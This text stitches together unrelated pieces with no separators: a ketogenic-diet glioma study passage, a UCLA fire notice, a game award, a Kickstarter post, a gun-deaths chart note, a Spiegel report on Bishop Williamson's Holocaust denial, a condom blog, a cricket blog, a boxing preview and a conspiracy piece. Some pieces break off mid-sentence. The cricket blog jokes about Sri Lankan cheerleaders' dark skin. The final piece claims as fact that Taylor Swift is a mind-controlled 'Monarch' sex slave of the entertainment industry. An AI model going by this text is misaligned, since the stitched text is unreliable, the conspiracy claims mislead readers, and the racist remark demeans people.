KC diet itself had very little effect on the animal's body weight, indicating that the diet itself was tolerable. Body weight remained very close to the starting weight in animals that were changed to KC three days following implantation. Eighteen days following implantation, body weights for SD and KC fed animals start to decline slowly as symptoms began to present ( Figure 4A ). Weight loss just prior to death is a function of the onset of symptoms due to tumor burden and not KC treatment.
Animals fed KC had a statistically significant increase in blood βHB levels ( Figure 3A ) both 6 and 13 days post-implantation. The greatest increase in βHB levels was seen in animals given adjuvant radiation therapy. However, increased βHB levels did not correlate with a decrease in blood glucose levels. Glucose levels were significantly lower in the KC and KC plus radiation groups on day 6 (p<0.0001) than SD and SD plus radiation; and only in the KC group on day 13 (p<0.001) when compared to SD.
Survival data from SD alone, KC alone, SD+radiation, and KC+radiation were examined for interaction effects using Cox Proportional Hazards. The p-value for radiation and KC is p = 1.03×10 −11 vs. SD. The implication being that there is a profound enhancing (by mean survival) effect of radiation with KC vs. SD alone. There is also an enhancing effect of radiation with SD (p = 8.38×10 −2 ) but the effect is many orders of magnitude less. Thus, we propose that a more than additive and highly positive survival effect is seen through the KC diet and adjuvant radiation therapy.
It is unlikely that any new treatment will be tried in patients without some form of additional standard therapy. We therefore tested KC in addition to radiation to determine if the effect of the two treatments would be more than additive. Nine out of the 11 animals treated with KC in combination with radiation were apparently cured of their implanted tumor ( Figure 1B ). The in vivo imaging data from one representative animal treated with radiation alone and one treated with radiation and KC is shown in Figure 2. After an initial period of slower growth ( Figure 2B, inset), there was rapid tumor growth in the animals fed SD and treated with radiation until the animal succumbed to the tumor ( Figure 2A, B ) with a final photon count of 6.995×10 9 p/sec/cm 2 /sr on day 39 following tumor implantation. In the animal treated with radiation and KC the presence of growing tumor can be seen for the first 1.5–2 weeks following implantation, reaching a maximum bioluminescent signal of 1.258×10 7 p/sec/cm 2 /sr on day 9 following tumor implantation. This was followed by a near exponential decline that approaches background levels 60 days following implantation. Bioluminescence remained undetectable and on day 104 post-implantation the 9 surviving animals treated with radiation and KC were switched from KC to the standard rodent chow. There was no detectable recurrence of tumor as demonstrated by the continued absence of detectable bioluminescent signal. The animals were sacrificed on day 299. Histological evidence upon necropsy using hematoxylin and eosin (H&E) staining of brain tissue from the apparently cured KC plus radiation animals showed no evidence of tumor cells in or near the area of implantation (data not shown).
Kaplan-Meier analyses of the survival data ( Figure 1A ) demonstrated a statistically significant (p<0.005) difference in median survival between animals fed SD (23 days) versus those fed KC (28 days). This increased survival was comparable to our previously reported results obtained on a smaller cohort of animals fed a ∼6∶1 (fat∶carbohydrate+protein) rodent ketogenic diet (Bio-Serv F3666 diet) [13] ; however, in that experiment the maximum survival of animals fed the rodent ketogenic diet was only 5 days longer than the maximum survival of animals on the standard diet. In this report, maximum survival of animals fed SD was 33 days compared to 43 days in the group maintained on KC. One animal on KC alone was apparently cured of its tumor as evidenced by the loss of bioluminescent signal. On day 101 the animal was put back on standard rodent chow with no evidence of tumor re-growth for an additional 200 days, at which time the animal was sacrificed and had no histological evidence of disease.
Discussion
There has recently been renewed interest in the role of altered cellular metabolism in cancer, and it has been suggested that cellular metabolism may be an efficacious therapeutic target. To this end we have examined the utility of increased blood ketones on the efficacy of radiation for the treatment of glioma. KetoCal® (KC) is a commercially available ketogenic diet used in the treatment of pediatric epilepsy. Our results demonstrate that KC, when administered ad libitum, enhances survival and slows tumor growth in our mouse model of brain tumors. KC potentiates the effect of radiation by extending survival beyond that seen with radiation alone. Irradiated animals maintained on KC demonstrated a complete loss of tumor-based bioluminescence, suggesting tumor regression and the absence of viable tumor cells. Tumors in this cohort of animals did not recur when animals were put back on standard rodent chow.
The effectiveness of the ketogenic diet as an alternative treatment for malignant glioma was first reported by Seyfried et al [20], [21] based on the idea that while normal brain can effectively use ketones as an energy source, tumor cells cannot. Using the syngeneic CT-2A and the xenograft U87 brain tumor models, Zhou et al [19] showed that caloric restriction sufficient to cause a drop in blood glucose also significantly increased survival. Furthermore, when the ketogenic diet was given in restricted amounts this effect was more pronounced. In contrast, when the ketogenic diet or standard rodent chow was given ad libitum they did not find a drop in blood glucose nor did they see a significant change in survival. Recently, Maurer et al [22] used long-term human glioma cell lines and rat hippocampal neurons to analyze their utilization of ketone bodies in vitro. They showed that although the enzymes required to metabolize ketones are present in these glioma cells, the addition of 3-hydroxybutyrate to the culture media did not protect the cells from glucose deprivation-induced cell death, nor did it alter the cells' proliferation, migration or invasive properties. They also found that a ketogenic diet did not alter tumor growth or extend the life of mice given an orthotopic injection of LNT-229 glioma cells when compared to mice maintained on standard diet. This is in contrast to our previous work using a rodent ketogenic diet [13] and the work described in this manuscript in which a human ketogenic formulation was used (KetoCal®). The reason for this is unclear, but may have to do with differences in the diet formulations. Maurer et al [22] used a diet with a ratio of fats to carbohydrates and protein of 2.7∶1. The rodent diet we used [13] had a 6∶1 ratio and KC has a 4∶1 ratio. Furthermore, there are a number of papers in the literature demonstrating that ketones have proapoptotic [23] and chemoattractant activity [24], in contrast to the results reported by Mauer et al [22]. Thus, the response to ketones may be related, in part, to the cell line and/or model system used.
Our investigation demonstrates a significant reduction of blood glucose levels between SD and KC fed ad libitum. On day 6 and day 13 blood glucose levels were lower in the KC group compared to the SD group. Blood glucose levels were also lower between Rad and KC+Rad on day 6 but not on day 13. Our results did not demonstrate a correlation between circulating glucose levels and survival, suggesting that the anti-tumor effects seen are likely to be due to more than just reduced glucose levels. In addition, we did not find a change in body weight between animals fed KC ad libitum and animals fed SD ad libitum (Figure 3A). A drop in weight was seen in animals treated with KC in combination with radiation around day 6; however, animals regained this weight by day 15 (Figure 3B). No direct relationship was seen between weight loss and ketone or blood glucose levels or between blood glucose levels and survival. The KC and KC plus radiation cohort showed the longest survival without a statistical difference in either blood glucose or weight loss. This agrees with the results of our earlier work [13] and serves to further the notion that survival may be independent of blood glucose levels.
In our previous work we used a syngeneic bioluminescent intracranial tumor model to show that a ∼6∶1 (fat ∶ protein+carbohydrate) rodent KD (Bioserv F3666 diet) caused a 6 day increase in median survival of animals given unrestricted amounts of the KD (p<0.0001) [13], despite the fact that there was no measureable decrease in blood glucose. Furthermore, the dynamics of tumor growth demonstrated by in vivo imaging of implanted GL261-luc cells demonstrated a reduction in the rate of tumor growth in animals fed KD [13], just as we now report using KC. Molecular analyses of tumor and non-tumor tissue showed a reduction in reactive oxygen species (ROS) in the tumor from animals fed the KD. A reduction in ROS was also shown in cultured GL261 cells when ketone bodies were added to complete media in vitro, providing additional evidence for some efficacy even in the absence of reduced glucose.
Seyfried et al [25] suggested that radiation and chemotherapy may promote a more favorable metabolic environment (i.e. increased glucose and glutamine) for glioma growth, thus reducing long term survival. While there may be local increases in blood glucose and/or glutamine in our model system, we did not see an increase in blood glucose in the animals treated with radiation. Furthermore, we did see a highly significant increase in long term survival. The profound survival increase seen in animals treated with KC and radiation may be due to the increased radiation cytotoxicity of tumor cells as a result of sensitization by KC due to the systemic effects of this diet. Similar results have been reported in the literature. The regulation of glucose in cells treated with cisplatin and carboplatin enhanced their sensitivity [26]. Cells cultured with 2-deoxyglucose (2DG) had a 1.8 to 2.6 fold increase in cellular sensitivity to cisplatin [26]. 2DG has been proposed as a way to simulate the ketogenic diet and has been shown to enhance radiation and chemotherapeutic response [27]–[30]. Preclinical studies have served as the basis for the use of 2DG and other dietary intervention in tandem with chemotherapy and radiation [31]. Intravenous administration of 2DG 5–10 min prior to focal irradiation caused 50–60% rates of tumor-free survival (“cure”) in a number of tumor model systems [31]. Furthermore, a number of studies using Akt inhibitors have demonstrated increased radiosensitivity in cells when activation of Akt is reduced [32], [33,33], thus providing another mechanism through which the KC may be affecting radiosensitivity in these tumors.
There are a few case reports in the literature suggesting that a ketogenic diet may be an effective therapy for the treatment of human brain tumors [18], [34], [35]. These patients were not enrolled in controlled trials and institutions have utilized varying formulations of the KD; variations in adherence include restricted and unrestricted approaches as well as differing durations of implementation. A medium chain triglyceride (MCT) formulation of the ketogenic diet was implemented in 2 pediatric patients diagnosed with advanced stage malignant astrocytomas [35]. The MCT-based formulation of the ketogenic diet utilized by Nebeling et al is composed of 60% MCT oil, 20% protein, 10% carbohydrates, and 10% other dietary fats [34]. The patients tolerated the diet well and experienced notable clinical improvements 4 to 5 years after diagnosis [35]. Both patients underwent radiotherapy prior to the administration of the ketogenic diet and one of the patients also received chemotherapy. Both patients showed a decline in tumor glucose metabolism which resulted in an improved prognosis with greater median survival. More recently, Zuccoli et al [18] reported on the use of a calorically restricted ketogenic diet in a 65 year old woman diagnosed with a multifocal GBM. Two weeks after the beginning of the KD the patient received standard radiation and temozolomide treatment. Tumor regression was seen 2.5 months following diagnosis. Approximately 7 months after beginning the restricted ketogenic diet the patient stopped following the calorically restricted diet and 3 months later the tumor recurred and the patient succumbed approximately 20 months following initial diagnosis. This report demonstrated the tolerability of a reduced calorie ketogenic diet in an adult diagnosed with a GBM. In addition, the diet may have inhibited tumor growth as it is unusual for a multifocal GBM to respond to standard therapy alone in 2.5 months. Finally, it is likely that the diet suppressed edema since the patient did not receive steroids during the radiation and chemotherapy treatment and did not appear to require them. Our previous work demonstrating a reduction in the expression of the pro-inflammatory gene cyclooxygenase 2 (COX-2) supports this as well [13].
In conclusion, we demonstrated that the effect of a ketogenic diet was more than additive when used in combination with radiation for the treatment of glioma in a mouse model system. The ketogenic diet can be challenging to implement, we therefore used the commercially available ketogenic diet KetoCal® (KC) since this product is already in use for the clinical treatment of refractory epilepsy. Mice fed KC alone had increased survival compared to those fed SD. Furthermore, the combination of KC and radiation led to the absence of detectable tumor in 9 of 11 mice. This response continued even after the mice were switched back to SD 104 days following tumor implantation. With few exceptions, when carried out appropriately the diet is well tolerated in both mice and humans as demonstrated by a host of animal studies as well as human case studies. The clinical implementation of the ketogenic diet as a viable treatment modality should be seriously considered in light of our new insights into the cellular and molecular mechanisms of the diet as well as the positive response seen in the available clinical implementations.Friday morning Dec. 8 update:
LAFD has reported that its operations at the Skirball Fire are shifting into a recovery and damage assessment phase as the fire danger dissipates. UCLA will continue to monitor the situation, but our campus will now return to normal operations. A list of resources will continue to be available at Bruins Safe Online throughout the final exam period. You may continue to notice first responders on campus as we support them by providing meals and showers.
We are so grateful to the fire fighters and other emergency responders who risk their own safety to protect our campus and personal safety. We also want to thank the students, staff and faculty who helped one another during this period.
UCLA released this statement Thursday, Dec. 7 on the campus' status in regard to the Skirball Fire:
UCLA will resume scheduled classes and campus activities on Friday, Dec. 8. UCLA hospitals and clinics will continue to remain fully operational as well.
The Early Care and Education program and UCLA Lab School will also be open. Geffen Academy will hold a previously scheduled in-service day.
The decision to resume full activities is based on UCLA administrative and safety officials’ analysis of the safety of our campus community returning to full operation. The fire has not grown since yesterday afternoon and Los Angeles Fire Department officials believe they will conclude operations in the area soon, as the fire becomes contained.
Air quality has consistently averaged about 63, which is considered moderate. UCLA encourages all members of the UCLA community to turn to UCLA Newsroom and Bruins Safe Online for the most current, accurate, UCLA-specific information. The university will continue to closely monitor the situation and will notify UCLA community members immediately if the situation changes.
Related:
What’s open and closed at UCLA today
UCLA cancels Thursday classes
Message from Chancellor Gene Block on the Skirball FireIn May of 2015, it was The Witcher this and The Witcher that. All Witcher, all the time, it seemed, and for good reason: The Witcher 3: Wild Hunt is a phenomenal role-playing game and a worthy recipient of the public's attention.
Take a step back, however, and the juggernaut that is The Witcher 3 becomes part of a larger tapestry into which other excellent and influential games were woven. Geralt casts a large shadow, of course, but his shadow doesn't spill into outer space, where Kerbal Space Program reveals its well-earned prestige. Kerbal gained a huge following during its years of early access availability, so its official release seemed almost like an afterthought, the game coming as it did with a dedicated fanbase and years of updates to power its popularity. It's a game that defies categorization: a space travel simulation that lets you play the role of engineer, commander, pilot, and spacewalker. It is a niche game, a difficult game, and a must-play game, unique and strange and wonderful.
Kerbal Space Program confines you to a single solar system, though is no less wondrous for it. Galactic Civilizations III delivers a galaxy to your doorstep, inviting you to crisscross the harsh vacuum of space one turn at a time. Like so many games of its ilk, GalCiv III is about exploration, exploitation, expansion, and extermination. What makes it special is that it does all of that 4Xing while providing lots of customization and a heavy dose of dry humor; It might be a highly technical game, but GalCiv III is not lacking personality and alien flavor. Meanwhile, back on terra firma, Project CARS is all but overwhelmed by its own devotion to the technical elements of driving fast cars in beautiful places. By eschewing the progression systems that bog down other simulations, it allows you to own the road in the supercar of your choosing from the moment you boot it up. Just don't expect to be an immediate master of the racing line.
Alas and alack, Geralt's silver sword has vanquished these monsters in the race for Game of the Month of May, 2015. You can nitpick its specific elements, but it's hard to deny that The Witcher 3: Wild Hunt is a great accomplishment. Geralt, the witcher of the game's title, is a stoic presence in an unwelcome world. As he navigates one of gaming's exquisitely crafted lands, he witnesses couples finding love amid horror and politicians enduring the turbulence of unhappy citizens. Choice and consequence take on new meaning as you alter the course of people's lives, all while galloping across mysterious bogs and battling ferocious, awe-inspiring monsters.
No game has it all, but The Witcher 3: Wild Hunt has an air of totality, giving you everything you might want in an open-air RPG, feeling simultaneously enormous and intimate, thus creating personal connections in kingdoms that stretch on for many miles. Congratulations, The Witcher 3, for inspiring in us a great urge to explore--and for earning GameSpot's award for May 2015's Game of the Month.Planetary Resources is trying to raise money via Kickstarter to launch a telescope into space which anyone can control. The company behind it is in Bellevue, which is a 20 minute drive from me, and its founders include former NASA engineers who worked on Mars Curiosity team. The idea is for around 25 bucks (or more if you want fancier rewards) you can get your photo in space.
If you donate $25 to their Kickstarter, you get to upload a photo to the telescope and then take a "selfie" posing in front of the earth. I donated the maximum amount, $10,000, which means I get to have a message engraved on the side of the telescope, attend the rocket launch, AND I get to NAME A FREAKIN' ASTEROID. They've got 11 days left to meet their goal, and if this project is successfully funded, I'm going to let you guys vote on the name.
If you have an awesome idea for an asteroid name, leave it in the comments below.
More info here.[Data Visualization] More Americans killed by guns since 1968 than in all U.S. wars
More Americans have died from guns in the United States since 1968 than on battlefields of all the wars in American history. Each year, the number of firearm-related deaths reach almost the equivalent of U.S. casualties in Korean War.
► 2016 New version available! This visualization has been updated. Have a look at the new version here: [Visualization] More Americans have died from guns since 2001 than in Korean and Vietnam wars
► Please note that this post simply visualize the informations contained in Nicholas Kristof’s and Louis Jacobson’s articles (links below), who discuss precisely the nature and consistency of the data (read them before taking this data visualization as a simple pro- or anti-gun campaign).
CC-BY-SA Data visualization freely reusable with a link to this post.
In a recent article, Louis Jacobson (@loujacobson) fact-checked the information published by New York Times columnist Nicholas Kristof (@NickKristof). Reacting to the murder of two journalists in Virginia, Kristof cited the calculation set by Mark Shields three years ago on PBS: “since Robert Kennedy died in the Ambassador Hotel on June 4, 1968, more Americans have died from gunfire than died in all the wars of this country’s history”. On politifact.com, Jacobson updated the figures and validated the assertion of Kristof. Based on a study of the Congressional Research Service and reports relating to most recent conflicts, he shows that 1,396,733 Americans were killed on the battlefields. Governmental reports from the Centers for Disease Control and Prevention show that there have been 1,516,863 gun-related deaths since 1968 (included suicides).
The visualization above is a simple contribution to the understanding of this reality.Richard Williamson's complaints begin when he looks out the window of his office in Saint George's House, the London headquarters of the Society of St. Pius X (SSPX). Just past the garden, at the base of a small hill in verdant Wimbledon Park, are a pond, golf course, croquet club and, most famously, the tennis courts.
The old man at the window likes tennis, which he admiringly calls the "greatest spectacle," a game that involves "one spirit, one will." In tennis, he says, it's as if two gladiators were fighting each other, "just without bloodshed."
But Williamson would not be true to form if he didn't smell damnation in even the noblest of spectacles. The outfits worn by female tennis players, the bishop says indignantly, "hardly reach past the middles of their thighs." Williamson has noticed female fans wearing even shorter skirts. "Aren't there are any men left who tell their daughters, sisters, wives or mothers that this sort of outfit is only meant for the eyes of their own husbands?"
The world has become a smaller place for the notorious bishop. Since he denied the existence of the Holocaust on television more than a year ago, causing serious problems for Pope Benedict XVI and almost triggering a revolt against Rome by the Catholic faithful, the ultra-conservative SSPX has kept him in virtual quarantine at its Wimbledon headquarters. Bishop Bernard Fellay, the superior general of the SSPX, likens Williamson to uranium: "It's dangerous when you have it," he says, but you can't "simply leave it by the side of the road."
'A Huge Lie'
Fellay knows what he is talking about. Williamson has no intention of revising his views on the gas chambers. When Nazi hunter Beate Klarsfeld sent him a book about the history of the Holocaust last year, he set it aside, unread. "The fact is that the 6 million people who were supposedly gassed represent a huge lie," he wrote recently to his fellow members of the SSPX, noting that "a completely new world order was built" on this "fact." The Jews, he added, "became ersatz saviors thanks to the concentration camps."
Williamson, after refusing to pay a fine of 12,000 ($16,800), faces charges of inciting racial hatred in a trial in the southern German city of Regensburg set to begin on April 16. Although it is unclear whether he will appear at the trial in person, the bishop has already assembled a legal team that includes German lawyer Matthias Lossmann and the British attorney who once represented former Chilean dictator Augusto Pinochet in his fight against extradition.
Both the obstinate bishop's refusal to abandon his preposterous Holocaust theories and the trial in Regensburg are as embarrassing to the SSPX as they are to the Vatican, which is currently in direct talks with the fundamentalists. During the monthly meetings, three theologians from the SSPX sit, almost as they were participating in another Vatican council, across from three papal theologians in the Palace of the Holy Office, which is home to the Congregation for the Doctrine of the Faith and is adjacent to St. Peter's Basilica. This is as close to the Vatican as it gets. Left-leaning and liberal theologians like Hans Küng have spent their lives dreaming in vain of such an encounter.
The 1962-1965 Second Vatican Council, also known as Vatican II, whose reforms helped to modernize the Catholic Church, is high up on the agenda of the members of the SSPX, who want to see it reversed as much as possible. For them, ecumenism is the stuff of the devil, the recognition of Judaism is a source of contention and the modern form of the liturgy is an impossible act of assimilation to the zeitgeist.
Their goal is to be recognized in Rome again after 22 years. The Vatican also wants to put an end to the division within the Church. But Williamson, who has been a thorn in the side of those seeking rapprochement, isn't going away.
If a fundamentalist bishop like Williamson were to become unaffiliated, he would have the potential to divide the church once again. He could consecrate new priests at any time or establish his own, even more radical movement. This would be inconvenient for both Benedict and the SSPX, which is why Williamson is being tolerated.
'These Men Are Rats'
Williamson's refuge is a small guest room on Arthur Road in southern London, where he has a view of Centre Court at Wimbledon. The room is in a plain-looking, newer building, adorned only with two columns flanking the front door. A sign at the entrance to a chapel in the garden calls upon the faithful to pray during the SSPX's upcoming "Rosary Crusade." Father Lindström, a gaunt Swede, ensures that only the right people are allowed to visit Williamson.
The bishop has a reputation for being unpredictable. Sometimes he gives the staff instructions to tell visitors that he is not home, but on one occasion he sat down next to a Christmas tree for an interview with a video blogger. An interview with SPIEGEL, which had been scheduled for some time, happened to fall on a bad day. Williamson was only willing to appear on a stair landing, and even then, all that was visible of him were one of his arms and his hand wearing his bishop's ring. His voice was easy to recognize, but he refused to speak directly with his interviewers, leaving Lindström to run up and down the stairs, delivering the questions and answers.
Later, Williamson decided to continue the interview with SPIEGEL by e-mail -- even though he was only in the next room. The visit had made him very angry. "We are at war," he raged, "and you are on the wrong side." German liberal intellectuals are as distasteful to him as short skirts on the tennis court. "These men are, at least objectively, rats," he wrote in a reference to SPIEGEL journalists.Common wisdom: Condoms, for all their necessity, inhibit men's sexual pleasure.
Common bullshit: Wearing a condom makes reaching orgasm impossible for men, and ruins sex. The reason is because the sheath stops men from having the intimate skin-to-skin contact which is imperative for pleasure.
More common bullshit: If you buy the condoms with ribs and dots and swizzles, your lady will really get off because your mighty sword is so fantastically tricked out.
The Honest-to-Dick Truth:
The main reason condoms screw up male pleasure is because— read this carefully:
"tight-fitting condoms bind the glans penis, resulting in restricted sensitivity and loss of stimulation during coitus."
I'm quoting from a current patent fight about condom designs, but their explanation is perfect. The main distress men have with condom use is the friction element going awry.
Furthermore, the color or texture of a condom has always made ZERO difference to women, because— news flash— we can't feel the damn thing in the first place. The vaginal walls do not have sensitive nerve endings. We have no idea which bloody condom your're wearing, and we just pray you have the damn thing secured. If we could "feel" the texture of your condom...holy cow, every woman would die instantly in childbirth, if we had that kind of vagina sensitivity. This is the same reason why the ever-popular bullshit about "vaginal orgasms" is also such a crock.
At the height of the AIDS epidemic, a new condom shape emerged called The Pleasure Plus, that was designed to make men feel pleasure and comfort by changing the silouette of the head. It looks like the letter "P." It doesn't fit tightly on the head of your cock at all— it's more like having an extra foreskin!
I immediately tried it out with my male lovers, and they were shocked. A condom that actually feels different, that honestly affects your arousal and orgasm in a juicy way?— it didn't seem possible.
Condom marketers had been lying for SO LONG, appealing to various macho vanities, but no one had ever made something that truly affected a man's sexual PLEASURE. Chalk another one up to the puritans.
The problem with the Pleasure Plus was that it went in and out of distribution. Today, in Salon.com, Andrew Leonard has uncovered the story of the Indian inventor who created the Pleasure Plus, (and subsequently two other innovative designs) which has led to a condom war between the companies fighting over his various patents.
Andrew writes:
"Sex expert Susie Bright, the host of "In Bed With Susie Bright" on Audible.com, and a longtime commentator on all things sexual, had never heard of Reddy [the inventor]. But she squeals with delight when told that he had invented the Pleasure Plus.
"I used to hoard them the way Elaine hoarded the Today sponge on Seinfeld, she recalls. "It was the only condom that offered any physical difference whatsoever. I've always said, forget the ribs and colors and all that bullshit. If the point is sensitivity and feeling good, the Pleasure Plus is the only alternative."
Adam Glickman, whose retail store Condomania was the first to sell the Pleasure Plus, recalls Reddy as "a man deeply concerned about condom effectiveness." At the time, Glickman says, "what was so refreshing and different about him was that he wasn't defining effectiveness in terms of safety and reliability, he was defining it in terms of acceptability and pleasure. No one had really defined condom performance so totally under those terms before him."
But despite the great reviews, the Pleasure Plus was hard to find. In fact, almost as soon as it became popular, it disappeared.
"It was a big mystery," Bright says. "We heard all kinds of rumors. It was there and then it was gone."
It turns out the original business went bankrupt. Then Mr. Reddy came out with two other designs that two other companies are marketing, including Trojan, who calls theirs the "Twisted Pleasure." Once Trojan came out with their Reddy-miracle, of course it wiped out the competitive ability of the first two smaller companies.... Trojan is often the only label represented at major drug stores. This is why there's a lawsuit extravaganza in progress.
I have not tried out the "Inspiral" or the "Twisted Pleasure," the children of the original PP. Have you? It's still a variation of the Pouch-Within-A-Pouch design. I think, from the looks of it, I like the original the best, but I'm hardly the one to decide. I like the simplicity; I don't need the thing to look like a roller coaster ride. But men should be the ones to speak up and say what feels the best.
I resent the notion that you have to sell this thing with a "kinky" name, or imply that it's for party animals. Goddammit, this design should be the basic condom profile for every single rubber made! The thing that Andrew told me— and explains in his article— is that all those world health and family-planning organizations that promote birth control around the world are not recommending these condoms because the powers-that-be think they're a hedonistic frill.
The world of STD-prevention is SO FUCKED UP. Condoms should be made as easy, pleasureable, and cost-free as possible, distributed en masse to men the world over. Young men should be given a bagful in the 6th grade and told to go home and masturbate with them until they get as smooth and suave as those soldiers who clean their guns with a blindfold on.
Women should be told point blank that any guy who tells you he can't get off with a condom is either lying, or has never given it so much as a kindergarten try.
Sure, when you initially try one on, you feel like a clumsy fool. We all felt this way when we first kissed, or tried to have sex, and dealt with our profound awkwardness. Getting your braces caught together is a big limp provocation too, but you don't see people railing against orthodontics for ruining their sex life!
There's all kinds of hassles that go into sexual initiation, but we strive for grace because we are MOTIVATED. And condoms need to be part of that motivation, because frankly, this barrier method of preventing pregnancy and disease is excellent. There are no side effects. It just does the job. The day I got off the Pill and onto condoms is one of the best health decisions of my life. Meeting men who know how to use them is an aphrodisiac in itself.
I advise young men who write me, craving the secret to getting laid, to start conversations about how great they think condoms are, how easy they are to use, how relaxing it is to not have to worry about anything, and let your partner just get into sex without fear. Then just start taking names and numbers!
I'm very glad Andrew wrote this story. I'm also pleased to turn you onto Condomania, which has a great web site as well as store in San Francisco. I found this great animated condom fuck film on their web site, which will provide the perfect epilogue to this post!India defeats England with Rohit Sharma,Piyush Chawla and Ashok Dinda in the team and without the services of Zaheer Khan, R Ashwin and Sehwag.
See something wrong with that sentence? Feeling uneasy? Mind baffling? Think there’s a big LOL sign in the end missing? You crack this opening line on ANY comedy show and hands down you’re taking the plaudits on the night. A 10/10 plus a standing ovation is more or less guaranteed. This was a strange day. Balaji with a direct hit, Bhajji gets wickets, Chawla is unplayable and Rohit Sharma gets runs. Many would lose the will to live in such a world.
Also a small observation, after looking at the Srilankan cheergirls you just can't force yourself to blame Ravan for kidnapping Sita maiya. I mean the guy was spoilt for choice more than anything else. You wouldn’t be able to see most of these ladies past 6 pm in India because they’d just blend in so well with the night sky, you’d hardly notice anyone even there.
We were playing Rohit Sharma and Piyush Chawla. A possible explanation is that having Rohit Sharma & Piyush Chawla in the team would lead to both Panauti's cancelling each other out.
So India leaves out its spearhead bowler in Zak, its leading spinner in Ashwin and to top it all off, decides to open the batting with Pathan. Not sure what is a bigger disaster recipe, this or ‘Heroine’. (I’d give to Heroine in the end because you know it sucks more blood out of you in 3 hours than a mosquito will in 300 years but anyways) Coming back to the point in hand, this looked a weak side on paper, one that would have risen more than just eyebrows. (Some Englishmen would surely have had a boner or two after looking at the line up). Kohli with his usual power hitting and with decent support from Gambhir led India to a respectable total by the time they both departed. And as I write this, I want to pinch myself to death because it |
Karpency, were extremely weak defenses. The other defenses weren’t as bad as those two, like beating Tony Bellew before his cruiserweight success, but even Tavoris Cloud and Sakio Bika were coming off losses.
Andrzej Fonfara (29-4, 17 KOs) was one of Stevenson’s better defenses the first time, more seeming so after the fight when the Polish challenger had been surprisingly competitive. Well, competitive isn’t the right word, really. Adonis Stevenson dominated that fight. Through eight rounds he had basically swept the cards and dropped Fonfara twice.
Out of no where Stevenson was dropped and hurt in the ninth, but he recovered well in the tenth and then fought on even terms over the last two rounds. The fight became exciting, but Fonfara never really came close to finishing Stevenson and he rightfully lost wide on the cards. Had they immediately made the rematch it would have been a little weird, but the fight was fun down the stretch so people would have gotten behind it.
They didn’t. Fonfara initially elevated himself with an easy win over a known name in Julio Cesar Chavez Jr, but I do believe we no longer have to pretend that beating Chavez qualifies as a good win. He picked up an actual good win next against British contender Nathan Cleverly, but then disaster struck. Almost a year ago now Andrzej Fonfara was destroyed inside a round by the then largely unknown Joe Smith Jr. He returned against the shell of what used to be Chad Dawson in March, but it took a last round knockout to avoid a second devastating upset defeat as he was down in the fight.
This is what this fight is. It is a titlist that has disappointed the boxing public by refusing to take on the top few fighters in the division who is now rematching a man who he already clearly beat and is coming into the fight with basically no momentum.
It’s just a stupid fight.
Adonis Stevenson is 39 now, so I guess he could hit the wall literally any fight at this point. For future reference, however, it is a sign of a stupid fight when one fighter’s only shot is the other guy suddenly being bad at boxing when he has always been good at it before.
The co-main event is a little better, I guess. Faint praise there though. Unbeaten Colombian Eleider Alvarez (22-0, 11 KOs), fresh off his career best performance in a TKO 5 over Lucian Bute, takes on former titlist Jean Pascal (31-4-1, 18 KOs) over twelve rounds in the opening bout. If Pascal has anything left this would be a good matchup, but it is hard to imagine that being the case after the pair of savage beatings he took from Sergei Kovalev. I hope I am wrong, but I expect him to take another beating here.
I am just going to take this as another opportunity to complain about the main event though. Eleider Alvarez, a good fighter, is Adonis Stevenson’s mandatory challenger. Stevenson paid Alvarez money to step aside so that he could rematch a clear win again recent Joe Smith first round knockout victim Andzrej Fonfara when Joe Smith Jr was also available. Just wrap your head around that.
With all the said, the first fight turned out to be fun by the end. I don’t think this one will, but hopefully Fonfara can have some moments again. The card takes place at 9 PM tomorrow Eastern on Showtime.
Like this: Like Loading...Taylor Swift’s Look What You Made Me Do is said to be about her poking fun at her foes and herself. However, the symbolism of the video directly refers to the sinister side of the entertainment industry and its obsession with mind control.
Taylor Swift is not new to the game. Back in 2009, in the article The 2009 VMAs: The Occult Mega-Ritual, I explained how Swift was part of a televised ritual. It was Taylor Swift’s “initiation” into the entertainment industry. After she was “humiliated” by Kanye West during an acceptance speech, Swift re-emerged, dressed in red, as a new and consecrated artist. This is when Swift’s work began to be tainted with the codes and symbolism of the occult elite.
Eight years later, at the 2017 VMAs, Taylor Swift premiered her new video Look What You Made Me Do (known as LWYMMD on Twitter). The message of the video couldn’t be clearer: She is now a full-fledged industry slave. What does that mean? Read on.
Most mass media sources who’ll attempt to “decode” this video will point out the disses directed at Kanye West, Kim Kardashian, Katy Perry, and her ex-boyfriend Calvin Harris. However, by doing so, they ignore about 90% imagery of the video. There is something else going on.
To those “in the know”, the video can almost be read as an MK-Symbolism 101 course. Indeed, the video taps into all of the imagery and concepts that have been discussed on this site for years. Those who rule the entertainment industry need to have this Monarch culture constantly at the forefront of popular culture. Now it is Taylor Swift’s turn to bring it in full force, with a video that is breaking records of YouTube and Spotify.
LWYMMD is indeed a blatantly obvious Monarch manifesto. (If you’ve never heard of Monarch programming, a deviation of the CIA project MKULTRA, read this article first).
The main goal of Monarch is to program slaves to have multiple personas that can be triggered at will. Beta Programming (aka Sex Kitten programming) is used to create sex slaves to be trafficked in the shady elite underworld.
Newsflash: The entertainment industry is full of Beta Kittens. Newsflash: The elite brags about this in mass media using the likes of Taylor Swift.
They Made Her Do It
To understand the true mind state of the video, one doesn’t need to look much further than the title: Look What You Made Me Do. Industry handlers own Taylor Swift and they make her do whatever is needed to push their agenda.
The video symbolically describes what happens to stars who get caught up in the higher levels of the occult entertainment industry. Although they are insanely successful, they also become slaves to the industry, with no life of their own. Their sound, image, and even their personality are shaped at will by those behind the scenes.
The video doesn’t only portray Swift as a slave of the industry, it also announces that she has paradoxically “ascended” to the status of Grand Priestess. Sounds ridiculous? Maybe it would be ridiculous … if the video wasn’t so blatant about it.
The Video
Mass media has been hard at word “decoding” the video. However, most critics completely miss the main underlying thread of the video.
“The video is good fun, if a little bit mad; it’s certainly the most brazen and ambitious pop music video since Beyoncé dropped Lemonade in the spring of last year, replete with pyrotechnics and dozens of costume changes. But it doesn’t amount to much more than a succession of disconnected images.”
– The Guardian, Look what you made her do: decoding the disses of Taylor Swift’s new video
The video is not a “succession of disconnected images”. It is actually very linear and coherent. However, in order to understand the narrative at hand, one needs to a thing or two about Monarch programming.
The video begins with a zombie Taylor Swift rising from the dead.
I don’t like your little games
Don’t like your tilted stage
The role you made me play
Of the fool, no, I don’t like you
I don’t like your perfect crime
How you laugh when you lie
You said the gun was mine
The first verse is said to allude to Kanye West and/or Katy Perry because they both performed on tilted stages. However, when one considers the context of the video, she can also be singing to her handlers who ‘play little games’ to program her and who push her into “the roles they make her play”.
We then see zombie Taylor burying the old Taylor.
